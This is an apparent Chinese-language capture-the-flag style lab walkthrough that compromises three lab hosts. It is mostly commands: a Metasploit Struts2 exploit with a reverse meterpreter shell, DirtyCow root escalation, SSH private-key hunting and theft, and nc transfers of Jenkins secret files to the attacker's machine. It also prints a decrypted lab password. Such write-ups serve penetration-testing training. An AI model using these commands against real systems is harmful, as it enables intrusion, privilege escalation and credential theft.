0x01
一般情况下SSH密钥存放在~/.ssh/目录下,也可以文件中搜索已保存的SSH凭证
~/.ssh/config
~/.ssh/known_hosts
~/.bash_history
grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN DSA PRIVATE KEY" /*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /
0x02
环境:THP-csk-lab
1.信息搜集
存活主机 172.16.250.10 172.16.250.30 172.16.250.50
172.16.250端口
22
80
8088
8009
172.16.250.30 端口
22
172.16.250.50 端口
22
2.访问网站进行进一步信息搜集
80端口:cms:opencms 10.5.3
一些xss不管用
strus2的漏洞没搜到
/struts2-showcase/show-action
8080:tomcat
相关漏洞没利用成功
3.msf利用struts漏洞
use exploit/multi/http/struts2_content_type_ognl
set payload linux/x64/meterpreter/reverse_tcp
set rhosts 172.16.250.10
set lhost 172.16.250.15
set rport 80
run
无python2,有python3
交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
4.对172.16.250.10主机进行提权
刚开始信息搜集时没找到什么有用的信息,不如说密码
因为还有两台主机,并且都开放了22的ssh端口,可能会用到ssh的内网横向移动手法,如果能找到密码那更好,找不到还一种方法利用ssh的密匙登录,以下提权是为了获取密匙的
提权:
上传漏洞脚本
扫除出脏牛
脏牛exp有两种,一种是重置密码,另一种是返回一个root的bash
尝试了第一种可能是在kali上编译的,没有成功,正常来说,如果靶机编译失败,可以找另一台内核和发行版本一样的主机上编译在上传
下面的是返回root的bash
上传exp
编译,并执行
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
python3 -c "import pty;pty.spawn('/bin/bash')"
chmod +x ./dirtycow-mem
./dirtycow-mem
不敲下面的命令靶机会崩溃
持续稳定:
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
5.使用ssh进行内网横移
查看172.16.250.10主机历史命令,发现使用密匙对30主机进行了登录
使用把密匙下载下来
cp root/.ssh/id_rsa /tmp/id_rsa
chmod 777 id_rsa #需要赋予权限才可以下载
download /tmp/id_rsa /root/id_rsa
chmod 0600 id_rsa #恢复原来的权限,否则需要输入root密码
ssh -i id_rsa root@172.16.250.30
建立socks服务
run post/multi/manage/autoroute
use auxiliary/server/socks_proxy
set version 4a
run
ssh登录30
ssh -i id_rsa root@172.16.250.30
5.对30主机做信息搜集
在家目录找到了以下信息
通过搜索发现这些配置是jenkins的
jenkins
——持续、自动地构建/测试软件项目
——监控一些定时执行的任务
查看端口开放情况
访问8080端口
发现是tomcat
8009访问不了
所以尝试访问其他目录,尝试访问/jekins
可以利用以下凭据进行下一台横向移动,用户是db_backup,在本地用户没有这个用户,所以猜测是50的,是密文所以要进行解密
6.利用jenkins的凭据
利用nc把相关密码文件传到kali中
kali
nc -lvp 1234 > master.key
nc -lvp 1234 > hudson.util.Secret
nc -lvp 1234 > credentials.xml
30主机
nc 172.16.250.129 1234 < /home/jenkins/secrets/master.key
nc 172.16.250.129 1234 < /home/jenkins/secrets/hudson.util.Secret
nc 172.16.250.129 1234 < /home/jenkins/credentials.xml
一条对一条的敲,即在kali敲一条,在30主机上敲一条
进行破解密码
python decrypt.py master.key hudson.util.Secret credentials.xml
密码:
)uDvra{4UL^;r?*h
7.ssh登录50
ssh db_backup@172.16.250.50
)uDvra{4UL^;r?*h
发现有个sudo组
发现db_backup用户可以执行任意命令
sudo -l
直接切换到root
sudo su root
)uDvra{4UL^;r?*h
安装pycrypto时错误:
python3.10安装失败
3.9安装成功但是破解失败
3.8安装时不要直接加版本会出错
不加版本也出错了
解决方法
1.将vistudio 2019或其他vs版本 中的stdint.h文件放进报错的文件夹ucrt中
2.修改报错的文件inttype.h
修改为引号
参考文章:
pycrypto安装失败